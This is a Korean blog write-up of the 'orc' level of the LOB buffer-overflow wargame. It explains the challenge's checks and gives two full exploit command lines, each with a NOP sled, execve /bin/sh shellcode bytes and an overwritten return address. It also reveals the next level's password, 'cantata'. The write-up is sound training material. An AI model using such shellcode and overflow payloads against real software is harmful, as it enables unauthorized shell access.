orc의 문제를 보면 버퍼 크기가 40의 평범한 버퍼 오버플로우 처럼보이지만
//egghunter 부분을 보면
extern char **environ 은 외부 코드에서 불러오는 환경변수를 의미하며
https://stackoverflow.com/questions/10649273/where-is-the-definition-of-extern-char-environ
memset으로 환경변수를 모두 비우는 것이다.
즉, 지금까지 써왔던 방식으로는 불가능하다.
그리고 다음 부분은 47번째 부분이 bf로 시작하지 않으면 강제종료를 한다는뜻이다.
다시 정리하자면 조건으로
- 47번째 메모리 값이 bf일것
- 환경변수를 사용하지 않을것
main을 disas하고 bp를 잡은후
메모리의 위치를 확인하면서
처음 시도한 방식은 다음과 같았다.
shellcode를 40byte안에 넣어놓고 ret주소로 buffer를 가리키게 하면 shellcode가 실행 될것이라 생각해서
./orc `python -c 'print "\x90"*15 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90"*4 + "\x48\xfc\xff\xbf"'`
위와 같이 쉘을 얻을 수 있었는데 실제 프로그램에서 실행해보니 aslr 때문인지 buffer의 위치가 계속 바뀌어 쉘을 얻어오지 못하는 것 같았다.
./orc `python -c 'print "\x90"*44 + "\x48\xfc\xff\xbf" + "\x90"*1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" '`
따라서 다른 방법으로 접근하게 되었는데 위의 그림을 다시 참조하여 앞 메모리 44byte는 그대로 채우고
ret주소에 ret이후의 임의의 주소를 넣고 NOP으로 1000개 정도 채워넣은후 쉘코드를 입력했다. NOP으로 되어있으면 그부분을 쉘코드를 만날때까지 진행하기 때문에 쉘코드가 실행된다.
pw는 cantata 이다.
'정보보안 > LOB' 카테고리의 다른 글
[LOB] Level6 (Wolfman->Darkelf) (0) | 2022.07.24 |
---|---|
[LOB] Level5 (Orc->Wolfman) (0) | 2022.07.24 |
[LOB] Level3 (Cobolt->Goblin) (0) | 2022.07.17 |
[LOB] Level2 (Gremlin->Cobolt) (0) | 2022.07.17 |
[LOB] Level1 (Gate->Gremlin) (0) | 2022.07.14 |